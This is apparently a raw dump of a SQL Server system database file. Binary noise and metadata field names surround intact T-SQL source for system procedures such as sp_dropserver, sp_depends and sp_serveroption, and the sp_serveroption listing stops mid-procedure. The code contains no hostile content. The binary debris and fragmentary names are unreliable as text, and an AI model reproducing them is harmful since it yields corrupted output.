g@logical_record_conflicts0-^K$$A@pubid0-^KhhE@upgrade0-p)y$$A@pubid0-p)y44_@use_partition_groups0-p)yhhg@can_use_partition_groupsGschema_id0-V88
Wxml_collection_id0-VmSCHEMACOLLECTION_CATALOGNAME0-VkSCHEMACOLLECTION_SCHEMANAME0-V]SCHEMACOLLECTIONNAME0-VYTARGETNAMESPACEURI0-V@OSCHEMACONTENT0-ӘOTABLE_
d

		(	7N_~7Z	'>`<ReA8SHWN
v

gw8O7d[rV% I`!-z3)	;na0-1+mOldest Active Transaction ID0-1,CXact ID0-1-88
MXact Node ID0-1.88
YXact Node Local ID0-1/CEnd AGE0-1000EEnd Time0-11..WTransaction Begin0-12YReplicated Records0-13..WOldest Active LSN0-14KServer Name0-15ODatabase Name0-16BBGMark Name0-1788
WRepl Partition ID0-1888
IRepl Epoch0-19ERepl CSN0-1:88
IRepl Flags0-1;@@ERepl Msg0-1<OMaster XDESID0-1=88
KMaster DBID0-1>..WPreplog Begin LSN0-1?00MPrepare Time0-1@OVirtual Clock0-1A..YPrevious Savepoint0-1BBBQSavepoint Name0-1C44WRowbits First Bit0-1D44WRowbits Bit Count0-1EWRowbits Bit Value0-1F44SNumber of Locks0-1GULock Information0-1H..WLSN before writes0-1I44OPages Written0-1J88
MCommand Type0-1K88
QPublication ID0-1L88
IArticle ID0-1M88
QPartial Status0-1N44CCommand0-1O44KByte Offset0-1PGNew Value0-1QGOld Value0-1RQNew Split Page0-1S44MRows Deleted0-1T44KBytes Freed0-1U88
KCI Table Id0-1V44KCI Index Id0-1WQNewAllocUnitId0-1X44MFileGroup ID0-1YKMeta Status0-1ZKFile Status0-1[44CFile ID0-1\

OPhysical Name0-1]MLogical Name!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!m*G

`

w0[

p
#
	}	(	~'&3T}&E>]`-O[)f22>40->K=name0->K88
Iservice_id0->K88
Mprincipal_id0->K88
Uservice_queue_id0-$fG@Resource0-$f I@LockOwner0-$fM@DbPrincipal0-=yx
M@triggername0-=yx
A@order0-=yx2G@stmttype0-=yx
I@namespace0-H88
G@newvalue0-#44Strace_column_id0-#4=name0-#4Gtype_name0-#88
Emax_size0-#hhOis_filterable0-#hhOis_repeatable0-#hhUis_repeated_base0-C@object0-hhG@fvisible0-A@owner0-֩@@Irequest_id0-֩88
Istep_index0-֩88
Kpdw_node_id0-֩88
Sdistribution_id0-֩@@Astatus0-֩HHEerror_id0-֩==Istart_time0-֩==Eend_time0-֩	88
Ytotal_elapsed_time0-֩
Grow_count0-֩88
=spid0-֩@@Ccommand0-Ievent_name0-Oproperty_name0-PYCONSTRAINT_CATALOG0-PWCONSTRAINT_SCHEMA0-PSCONSTRAINT_NAME0-PgUNIQUE_CONSTRAINT_CATALOG0-PeUNIQUE_CONSTRAINT_SCHEMA0-PaUNIQUE_CONSTRAINT_NAME0-PMMATCH_OPTION0-PKUPDATE_RULE0-P	KDELETE_RULE0-RC@server0-RE@db_name0-R$$A@pubid0-RG@replnick0-cI@publisher0-cO@publisher_db0-M@publication0-I@publisher0-O@publisher_db0-00A@level0-HEO@inputbitmap10-HEO@inputbitmap20-HEQ@resultbitmap30- s88
Q@subtype_addun0- s88
Q@subtype_addfk0- s88
S@subtype_addchk0- s88
A@objid0- shhM@debug_print0-TM@filter_name0-T88
I@parent_id0-뇝88
A@artid0-뇝00?@mode0-뇝00Q@publishertype0-뇝I@publisher0-+88
G@agent_id0-/588
E@errorid0-/5K@xact_seqno0-/588
K@command_id0-88
G@agent_id0-hhO@get_snapshot0-ϲ$$A@pubid0-ϲ88
G@nickname0-eUM@publication0-ߑG@command10-ߑM@replacechar0-ߑG@command20-ߑG@command30-ߑ88
M@worker_type0-SE@objname0-S?@mode0-S88
A@objid0-S88
E@srvpriv0-S88
G@prottype0-SE@grantee0-S88
A@flags0-S88
C@rollupI@ftp_login0-O@ftp_password0- ]@alt_snapshot_folder0-!Y@working_directory0-"
E@use_ftp0-#00W@publication_type0-$W@dts_package_name0-%_@dts_package_password0-&_@dts_package_location0-'G@reserved0-(
O@offloadagent0-)Q@offloadserver0-*G@job_name0-+I@job_login0-M@puc@[[v5d#Q

|;

Rw0		A	Z6z/h

o
P

5ZZ	:eep@3`_-.A)C; 5kW0-j$$?ag_id0-j4Cag_name0-j4Qag_resource_id0-j4Kag_group_id0-j$$Yprimary_replica_id0-j$$Ulocal_replica_id0-j00Ylocal_replica_role0-jx4xclocal_replica_role_desc0-j	00[local_replica_state0-j
x4xelocal_replica_state_desc0-j88
grequired_copies_to_commit0-j88
cfailure_condition_level0-j
88
]health_check_timeout0-j00kautomated_backup_preference0-jx4xuautomated_backup_preference_desc0-hoG@ProcName0-ho#K@OptionName0-hoM@OptionValue0-:G@loginame0-e)88
Ealert_id0-e)88
Mcomponent_id0-e)Ialert_name0-e)@@?state0-e)@@Eseverity0-e)@@=type0-e)Kdescription0-e)Gcondition0-e)	@@Astatus0-e)
hhScondition_value0-388
I@data_type0-300E@ODBCVer0-OTABLE_CATALOG0-MTABLE_SCHEMA0-ITABLE_NAME0-YCONSTRAINT_CATALOG0-WCONSTRAINT_SCHEMA0-SCONSTRAINT_NAME0-6M@publication0-6@K@scriptfile0-6@=@cmd0->
G@procname0-88
A@pubid0-88
A@artid0-C@bitmap0-I@publisher0-M@publication0-E@article0-I@publisher0-O@publisher_db0-M@publication0-I@publisher0-O@publisher_db0-$$C@job_id0-88
A@hours0-88
O@session_type0-I@publisher0-O@publisher_db0-M@publication0-88
G@art_nick0-88
W@num_rows_to_move0-=@gen0-88
S@changes_in_gen0-K@target_gen0-88
a@changes_in_target_gen0-hhc@move_contents_rows_toot_username0-?4Knet_address0-?4Knet_library0-?4Eloginame0-?Mcontext_info0-?Isql_handle0-?88
Istmt_start0-?88
Estmt_end0-? 88
Irequest_id0-E44Cnode_id0-E4Snode_state_desc0-E_memory_object_address0-E]memory_clerk_address0-Emio_completion_worker_address0-E44Qmemory_node_id0-EWcpu_affinity_mask0-E44aonline_scheduler_count0-E	44]idle_scheduler_count0-E
88
[active_worker_count0-E88
Uavg_load_balance0-Eetimer_task_affinity_mask0-E
mpermanent_task_affinity_mask0-Ehharesource_monitor_state0-E_online_scheduler_mask0-E44Sprocessor_group0-E88
Kpdw_node_id0-|xx?event0-|@@=data0-|88
Kpdw_node_id0-e)88
Ealert_id0-e)88
Mcomponent_id0-e)Ialert_name0-e)@@?state0-e)@@Eseverity0-e)@@=type0-e)Kdescription0-e)c

t
%
D		q4g7
w,EFab		
j
)
Z
A:rC,~3`-A)u?0-"4Iclerk_name0-"Etotal_kb0-"Msimulated_kb0-">>5Ysimulation_benefit0-">>5Uinternal_benefit0-">>5Uexternal_benefit0-">>5Svalue_of_memory0-"Wperiodic_freed_kb0-"	Winternal_freed_kb0-tyQ@database_name0-ty88
G@alert_id0-Kahandle_context_address0-K88
[creation_request_id0-K88
Screation_irp_id0-K88
Ghandle_id0-Kgcreation_client_thread_id0-Kicreation_client_process_id0-Kgfilestream_transaction_id0-Kx4xKaccess_type0-K	4Mlogical_path0-K
4Ophysical_path0-_qMbase_address0-_q4Mfile_version0-_q4Sproduct_version0-_qhh?debug0-_qhhCpatched0-_qhhIprerelease0-_qhhOprivate_build0-_qhhOspecial_build0-_q	88
Elanguage0-_q
4Ccompany0-_q4Kdescription0-_q4=name0-_q
88
Kpdw_node_id0-LG@password0-188
A@objid0-CB88
A@objid0-CB88
A@artid0-CBE@postfix0-CB00K@bOutParams0-CB@E@outvars0-CB88
G@agent_id0-NJE@tabname0-NJ
K@replicated0-g]M@publication0-g]K@subscriber0-g]Q@subscriber_db0-g]I@publisher0-g]S@publisher_type0-g]00C@action0-xM@publication0-xE@article0-xK@subscriber0-xS@destination_db0-xhhY@for_schema_change0-xI@publisher0-xhhk@ignore_distributor_failure0-xhh]@invalidate_snapshot0-mM@publication0-mE@article0-mO@snapshot_lsn0-mK@script_txt-88
0-88
K@session_id0-z$$A@repidd-8g
"
q@C?LWz
t
)
		R		w8Ka7J

K>;` < 0)` 8CREATE FUNCTION sys.dm_logpool_consumers
	(
	@DatabaseId Int
	)
RETURNS TABLE
as
	RETURN SELECT * FROM OpenRowset(TABLE DM_LOGPOOL_CONSUMERS, @DatabaseId)
0T 8create procedure sys.sp_dropserver
	@server		sysname,			-- server name
	@droplogins	char(10) = NULL		-- drop all related logins?
as
	declare @ret int, @is_linked bit, @server_id int
	select @droplogins = LOWER(@droplogins collate Latin1_General_CI_AS)

	-- DISALLOW USER TRANSACTION
	set implicit_transactions off
	if @@trancount > 0
	begin
		raiserror(15002,-1,-1,'sys.sp_dropserver')
		return (1)
	end

	-- CHECK PERMISSIONS
	if not (has_perms_by_name(null, null, 'alter any linked server') = 1)
	begin
		EXEC %%System().AuditEvent(ID = 1380209484, Success = 0, TargetLoginName = NULL, TargetUserName = NULL, Role = NULL, Object = NULL, Provider = NULL, Server = @server)
		raiserror(15247,-1,-1)
		return (1)
	end
	else
	begin
		EXEC %%System().AuditEvent(ID = 1380209484, Success = 1, TargetLoginName = NULL, TargetUserName = NULL, Role = NULL, Object = NULL, Provider = NULL, Server = @server)
	end

	-- VALIDATE OPTION
	if @droplogins is not null AND @droplogins <> 'droplogins'
	begin
		raiserror(15600,-1,-1, 'sys.sp_dropserver')
		return (1)
	end

	begin transaction

	-- CHECK/LOCK SERVER NAME / GET SERVER ID
	EXEC %%LinkedServer ( Name = @server ) . Lock ( Exclusive = 1 )
	IF @@ERROR <> 0
	begin
		rollback tran
		raiserror(15015,-1,-1,@server)
		return (1)
	end

	-- CHECK @droplogins PARAMETER: No sysremotelogins OR sysoledbusers ROWS EXCEPT
	--	THE DEFAULT OLEDB-MAPPING.
	if @droplogins is null AND exists (
		SELECT * FROM master.dbo.sysservers s WHERE s.srvname = @server AND
			(	exists (select * from master.dbo.sysremotelogins WHERE remoteserverid = s.srvid)
			OR	exists (select * from master.dbo.sysoledbusers WHERE rmtsrvid = s.srvid
						AND NOT (loginsid IS NULL AND status = 1) )
		)	)
	begin
		rollback tran
		raiserror(15190,-1,-1,@server)
		return (1)
	end

	-- CHECK TO SEE IF THE SERVER IS USED BY REPLICATION.
	if object_id('sp_MSrepl_check_server') is not null
	begin
		EXEC @ret = sp_MSrepl_check_server @server
		if @ret <> 0 or @@error <> 0
		begin
			rollback tran
			return 1
		end
	end
	
	-- is this a linked server?
	select @is_linked = is_linked, @server_id = server_id from sys.servers where name = @server

	-- DROP THE SERVER (ALSO DROPS ALL REMOTE/LINKED LOGINS)
	EXEC %%LinkedServer ( Name = @server ) . Remove()

	-- Server_id = 0 means the local server name
	if @server_id = 0
	begin
		-- EMDEventType(x_eet_Alter_Instance), EMDUniversalClass(x_eunc_Server), src major id, src minor id, src name
		-- -1 means ignore target stuff, target major id, target minor id, target name,
		-- # of parameters, 5 parameters
		EXEC %%System().FireTrigger(ID = 214, ID = 100, ID = 0, ID = 0, Value = NULL,
			ID = -1, ID = 0, ID = 0, Value = NULL, 
			ID = 2, Value = @server, Value = @droplogins, Value = NULL, Value = NULL, Value = NULL, Value = NULL, Value = NULL)
	end
	else if @is_linked = 1
	begin
		-- EMDEventType(x_eet_Drop_LinkedServer), EMDUniversalClass(x_eunc_LinkedServer), src major id, src minor id, src name
		-- -1 means ignore target stuff, target major id, target minor id, target name,
		-- # of parameters, 5 parameters
		EXEC %%System().FireTrigger(ID = 262, ID = 102, ID = 0, ID = 0, Value = @server,
			ID = -1, ID = 0, ID = 0, Value = NULL, 
			ID = 2, Value = @server, Value = @droplogins, Value = NULL, Value = NULL, Value = NULL, Value = NULL, Value = NULL)
	end
	else
	begin
		-- EMDEventType(x_eet_Drop_Remote_Server), EMDUniversalClass(x_eunc_Server), src major id, src minor id, src name
		-- -1 means ignore target stuff, target major id, target minor id, target name,
		-- # of parameters, 5 parameters
		EXEC %%System().FireTrigger(ID = 240, ID = 100, ID = 0, ID = 0, Value = @server,
			ID = -1, ID = 0, ID = 0, Value = NULL, 
			ID = 2, Value = @server, Value = @droplogins, Value = NULL, Value = NULL, Value = NULL, Value = NULL, Value = NULL)
	end
	-- SUCCESS
	commit transaction
	return (0) -- sp_dropserver
0	i 8
create procedure sys.sp_tables_rowset
(
    @table_name     sysname,
    @table_schema   sysname = null,
    @table_type     nvarchar(255) = null
)
as
    select
        TABLE_CATALOG   = s_tr.TABLE_CATALOG,
        TABLE_SCHEMA    = s_tr.TABLE_SCHEMA,
        TABLE_NAME      = s_tr.TABLE_NAME,
        TABLE_TYPE      = s_tr.TABLE_TYPE,
        TABLE_GUID      = s_tr.TABLE_GUID,
        DESCRIPTION     = s_tr.DESCRIPTION,
        TABLE_PROPID    = s_tr.TABLE_PROPID,
        DATE_CREATED    = s_tr.DATE_CREATED,
        DATE_MODIFIED   = s_tr.DATE_MODIFIED
    from
        sys.spt_tables_view s_tr
    where
        (
            (@table_schema is null and s_tr.TABLE_NAME = @table_name) or
            object_id(quotename(@table_schema) + '.' + quotename(@table_name)) = s_tr.object_id
        ) and
        (@table_type is null or @table_type = s_tr.TABLE_TYPE)
    order by 4, 2, 3
0	i 8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_tables_rowset;2
(
    @table_schema   sysname = null,
    @table_type     nvarchar(255) = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        TABLE_CATALOG   = s_tr.TABLE_CATALOG,
        TABLE_SCHEMA    = s_tr.TABLE_SCHEMA,
        TABLE_NAME      = s_tr.TABLE_NAME,
        TABLE_TYPE      = s_tr.TABLE_TYPE,
        TABLE_GUID      = s_tr.TABLE_GUID,
        DESCRIPTION     = s_tr.DESCRIPTION,
        TABLE_PROPID    = s_tr.TABLE_PROPID,
        DATE_CREATED    = s_tr.DATE_CREATED,
        DATE_MODIFIED   = s_tr.DATE_MODIFIED
    from
        sys.spt_tables_view s_tr
    where
        (@table_schema is null or schema_id(@table_schema) = s_tr.schema_id) and
        (@table_type is null or @table_type = s_tr.TABLE_TYPE)
    order by 4, 2, 3
0	i 8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_tables_rowset;5
(
    @table_server       sysname,
    @table_catalog      sysname = null,
    @table_name     sysname = null,
    @table_schema       sysname = null,
    @table_type     sysname = null
)
as
    select
        TABLE_CATALOG,
        TABLE_SCHEMA,
        TABLE_NAME,
        TABLE_TYPE,
        TABLE_GUID,
        DESCRIPTION,
        TABLE_PROPID = null,    -- ISSUE these 3 columns must be exported by the server
        DATE_CREATED = null,    -- in \yukon\sql\ntdbms\msql\ddl\sysoledb.cpp :
        DATE_MODIFIED = null    -- const SCHEMA_COLUMNS xCol_TABLES = {
    from
        sys.fn_remote_tables (@table_server,
                              @table_catalog,
                              @table_schema,
                              @table_name,
                              @table_type)
    order by 4,1,2,3
0㜂@ S8CREATE VIEW INFORMATION_SCHEMA.VIEW_COLUMN_USAGE
AS
SELECT
	DB_NAME()					AS VIEW_CATALOG,
	SCHEMA_NAME(v.schema_id)	AS VIEW_SCHEMA,
	v.name						AS VIEW_NAME,
	DB_NAME()					AS TABLE_CATALOG,
	SCHEMA_NAME(t.schema_id)	AS TABLE_SCHEMA,
	t.name						AS TABLE_NAME,
	c.name						AS COLUMN_NAME
FROM
	sys.views v JOIN sys.sql_dependencies d ON d.object_id = v.object_id
	JOIN sys.objects t ON t.object_id = d.referenced_major_id
	JOIN sys.columns c ON c.object_id = d.referenced_major_id
		AND c.column_id = d.referenced_minor_id
WHERE
	d.class < 2
2,3
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"/0`	<"E$260pQ 	8create procedure sys.sp_depends  --- 1996/08/09 16:51
@objname nvarchar(776)		-- the object we want to check
as

declare @objid int			-- the id of the object we want
declare @found_some bit			-- flag for dependencies found
declare @dbname sysname


--  Make sure the @objname is local to the current database.

select @dbname = parsename(@objname,3)

if @dbname is not null and @dbname <> db_name()
	begin
		raiserror(15250,-1,-1)
		return (1)
	end

--  See if @objname exists.
select @objid = object_id(@objname)
if @objid is null
	begin
		select @dbname = db_name()
		raiserror(15009,-1,-1,@objname,@dbname)
		return (1)
	end

--  Initialize @found_some to indicate that we haven't seen any dependencies.
select @found_some = 0

set nocount on

--  Print out the particulars about the local dependencies.
if exists (select *
		from sysdepends
			where id = @objid)
begin
	raiserror(15459,-1,-1)
	select		 'name' = (s6.name+ '.' + o1.name),
			 type = substring(v2.name, 5, 66),		-- spt_values.name is nvarchar(70)
			 updated = substring(u4.name, 1, 7),
			 selected = substring(w5.name, 1, 8),
             'column' = col_name(d3.depid, d3.depnumber)
		from	 sys.objects		o1
			,master.dbo.spt_values	v2
			,sysdepends		d3
			,master.dbo.spt_values	u4
			,master.dbo.spt_values	w5 --11667
			,sys.schemas		s6
		where	 o1.object_id = d3.depid
		and	 o1.type = substring(v2.name,1,2) collate catalog_default and v2.type = 'O9T'
		and	 u4.type = 'B' and u4.number = d3.resultobj
		and	 w5.type = 'B' and w5.number = d3.readobj|d3.selall
		and	 d3.id = @objid
		and	 o1.schema_id = s6.schema_id
		and deptype < 2

	select @found_some = 1
end

--  Now check for things that depend on the object.
if exists (select *
		from sysdepends
			where depid = @objid)
begin
		raiserror(15460,-1,-1)
	select distinct 'name' = (s.name + '.' + o.name),
		type = substring(v.name, 5, 66)				-- spt_values.name is nvarchar(70)
			from sys.objects o, master.dbo.spt_values v, sysdepends d,
				sys.schemas s
			where o.object_id = d.id
				and o.type = substring(v.name,1,2) collate catalog_default and v.type = 'O9T'
				and d.depid = @objid
				and o.schema_id = s.schema_id
				and deptype < 2

	select @found_some = 1
end

--  Did we find anything in sysdepends?
if @found_some = 0
	raiserror(15461,-1,-1)

set nocount off

return (0) -- sp_depends
0_ 8 
-- add it
create view sys.dm_pdw_nodes_os_memory_cache_clock_hands as
select *, convert(int, null) pdw_node_id from sys.dm_os_memory_cache_clock_hands
0xT !8create function sys.fn_cColvEntries_80
    (@pubid uniqueidentifier, @artnick int)
    returns int
as
begin
    declare @cCols int
    declare @cMissing int
    declare @cExcluded int
    declare @sync_objid int

    select @sync_objid= sync_objid, @cMissing= missing_col_count, @cExcluded= excluded_col_count from dbo.sysmergearticles where nickname=@artnick and pubid=@pubid
    select @cCols= count(*) from sys.columns where object_id = @sync_objid
    return @cCols + @cMissing + @cExcluded
end
03` $8
--
-- Name:
--		fn_MSrepl_isdistdb
--
-- Description:
--		Function to determine if a database is a distribution db
--
-- Returns:
--		0 == FALSE
--		1 == TRUE
--
-- Security:
--		public
-- Requires Certificate signature for catalog access
--
-- Notes:
--		Includes logic to determine if a db is being used as a distribution db
--
CREATE FUNCTION sys.fn_MSrepl_isdistdb
(
    @db_name sysname
)
RETURNS BIT
AS
BEGIN
    -- Is this database a distributor?
    return case when exists (select * 
                                        from master.sys.databases 
                                        where name = @db_name 
                                            and is_distributor = 1) 
                        then 1 else 0 end
END
0vZ 8CREATE FUNCTION sys.fn_basecolsofcomputedpkcol 
(
    @object_id int, 
    @column_id int
)
returns @basecols table (name sysname, column_id int)
as
--query sys.indexes to find out index id for primary key 
--join sys.index_columns to find out columns in primary key
--join sys.sql_dependencies to find out base columns of all computed primary key column
--join sys.columns to find out column name 
begin
	insert @basecols select sc.name, sc.column_id 
		from 	
			sys.columns sc 
				join sys.sql_dependencies ssd
					on sc.object_id = ssd.object_id and sc.column_id = ssd.referenced_minor_id 
				join  sys.index_columns sic 
					on sc.object_id = sic.object_id and sic.column_id = ssd.column_id 
				join sys.indexes  si
					on sc.object_id = si.object_id and si.index_id = sic.index_id 
	where 
		(@column_id is null or sic.column_id = @column_id)
		and sc.object_id = @object_id 
		and si.is_primary_key = 1
	return
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	
`
<{<,u%0t#c 8create procedure sys.sp_serveroption
	@server		sysname,		-- server name to change
	@optname	varchar(35),	-- option name to turn on/off
	@optvalue	nvarchar(128)	-- true or false, on or off, collation name, or timeout value
as
	-- VARIABLES
	SET NOCOUNT ON
	declare @fSet			bit,	-- 0 or 1 for setting boolean option
			@timeout		int,
			@collationID	int,
			@ret			int,
			@is_linked 	bit


	-- DISALLOW USER TRANSACTION
	set implicit_transactions off
	if @@trancount > 0
	begin
		raiserror(15002,-1,-1,'sys.sp_serveroption')
		return (1)
	end

	-- CHECK PERMISSIONS
	if not (has_perms_by_name(null, null, 'alter any linked server') = 1)
	begin
		EXEC %%System().AuditEvent(ID = 1279349580, Success = 0, TargetLoginName = NULL, TargetUserName = NULL, Role = NULL, Object = NULL, Provider = NULL, Server = @server)
		raiserror(15247,-1,-1)
		return (1)
	end
	else
	begin
		EXEC %%System().AuditEvent(ID = 1279349580, Success = 1, TargetLoginName = NULL, TargetUserName = NULL, Role = NULL, Object = NULL, Provider = NULL, Server = @server)
	end	

	-- DO SERVER-INDEPENDENT CHECKS AGAINST MOST OPTIONS
	SELECT @optname = RTRIM(lower(@optname collate Latin1_General_CI_AS))
	IF @optname NOT IN ('name')
		SELECT @optvalue = RTRIM(lower(@optvalue collate Latin1_General_CI_AS))

	IF @optname = 'collation name'
	BEGIN
		-- Validate Collation Name: May reset by string 'null' or NULL value
		IF @optvalue = 'null'
			SELECT @optvalue = NULL
		SELECT @collationID = convert(int, COLLATIONPROPERTY(@optvalue, 'collationid'))
		IF @optvalue IS NOT NULL AND @collationID IS NULL
			goto bad_option

		-- VALIDATE COLLATION PROPERTIES (no-op for NULL)
		if convert(int, COLLATIONPROPERTY(@optvalue, 'isunicodeonly')) = 1
		BEGIN
			raiserror(15301, -1, -1, @optvalue)
			return (1)
		END
		if convert(int, COLLATIONPROPERTY(@optvalue, 'issupportedbyos')) = 0
		BEGIN
			raiserror(15394, -1, -1, @optvalue)
			return (1)
		END
	END
	ELSE IF @optname IN ('connect timeout','query timeout')
	BEGIN
		-- TIMEOUT OPTIONS: Value must be integer-numeric >= 0
		IF ISNUMERIC (@optvalue) = 0 OR convert (int, @optvalue) IS NULL OR convert (int, @optvalue) < 0
			goto bad_option
		SELECT @timeout = convert (int, @optvalue)
	END
	ELSE IF @optname IN ('rpc','pub','sub','dist','nonsqlsub','rpc out','data access',
				'collation compatible','system','use remote collation','lazy schema validation',
				'remote proc transaction promotion')
	BEGIN
		-- Get value for Bit-valued option
		-- NOTE: CANNOT MAKE A SYSTEM SERVER INTO NON-SYSTEM --
		SELECT @fSet = CASE WHEN @optvalue IN ('true','on') THEN 1
				WHEN @optvalue IN ('false','off') AND @optname <> 'system' THEN 0
				ELSE NULL END
		IF @fSet IS NULL
			goto bad_option

		-- Lazy Schema Validation for Enterprise-edition only
		IF @optname = 'lazy schema validation' AND @fSet = 1 AND serverproperty('EngineEdition') <> 3 -- Enterprise edition
		BEGIN
			raiserror(15169,-1,-1, @optname)
			RETURN 1
		END
	END
	ELSE IF @optname = 'name'
	BEGIN
		-- RENAME SERVER: Validate new name
		EXEC @ret = sys.sp_validname @optvalue
		IF @ret <> 0
			RETURN @ret
	END
	ELSE
		goto bad_option

	BEGIN TRANSACTION

	-- RESOLVE/LOCK SERVER NAME
	EXEC %%LinkedServer ( Name = @server ) . Lock ( Exclusive = 1 )
	IF @@ERROR <> 0
	BEGIN
		ROLLBACK TRAN
		raiserror(15015,-1,-1,@server)
		return (1)
	END

	-- DO THE SERVER-DEPENDENT CHECKS AND THE UPDATE
	IF @optname = 'rpc'
		EXEC %%LinkedServer(Name=@server).SetRPCIn( Value = @fSet )
	ELSE IF @optname = 'rpc out'
		EXEC %%LinkedServer(Name=@server).SetRPCOut( Value = @fSet )
	ELSE IF @optname = 'data access'
		EXEC %%LinkedServer(Name=@server).SetDataAccess( Value = @fSet )
	ELSE IF @optname = 'system'
		EXEC %%LinkedServer(Name=@server).SetSystem( Value = @fSet )
	ELSE IF @optname = 'pub'
		EXEC %%LinkedServer(Name=@server).SetReplPub( Value = @fSet )
	ELSE IF @optname = 'sub'
		EXEC %%LinkedServer(Name=@server).SetReplSub( Value = @fSet )
	ELSE IF @optname = 'dist'
	BEGIN
		-- ONLY ONE SERVER MAY BE A DISTRIBUTION SERVER
		IF @fSet = 1
		BEGIN
			DECLARE @distributor sysname
			SELECT @distributor = srvname from master.dbo.sysservers where dist = 1
			IF @distributor is not null
			BEGIN
				ROLLBACK TRAN
				raiserror(14099,-1,-1, @distributor)
				RETURN 1
			END
		END
		EXEC %%LinkedServer(Name=@server).SetReplDist( Value = @fSet )
	END
	ELSE IF @optname = 'nonsqlsub'
		EXEC %%LinkedServer(Name=@server).SetReplNonSQLSub( Value = @fSet )
	ELSE IF @optname = 'lazy schema validation'
		EXEC %%LinkedServer(Name=@server).SetLazySchemaCheck( Value = @fSet )
	ELSE IF @optname = 'remote proc transaction promotion'
		EXEC %%LinkedServer(Name=@server).SetDtcPromotionForRemoteProc( Value = @fSet )
	ELSE IF @optname = 'use remote collation'
		EXEC %%LinkedServer(Name=@server).SetUseRemoteCollation( Value = @fSet )
	ELSE IF @optname = 'collation compatible'
	BEGIN
		EXEC %%LinkedServer(Name=@server).SetCollationCompatible( Value = @fSet )
		-- IF Collation-Compatible TRUE, THEN COLLATION SETS TO NULL
		IF @fSet = 1
			EXEC %%LinkedServer(Name=@server).SetCollationID( Value = NULL )
	END
	ELSE IF @optname = 'collation name'
	BEGIN
		EXEC %%LinkedServer(Name=@server).SetCollationID( Value = @collationID )
		-- IF NON-NULL COLLATION, Collation-Compatible SETS TO FALSE
		IF @collationID IS NOT NULL
			EXEC %%LinkedServer(Name=@server).SetCollationCompatible( Value = 0 )
	END
	ELSE IF @optname = 'connect timeout'
		EXEC %%LinkedServer(Name=@server).SetConnectTimeout( Value = @timeout )
	ELSE IF @optname = 'query timeout'
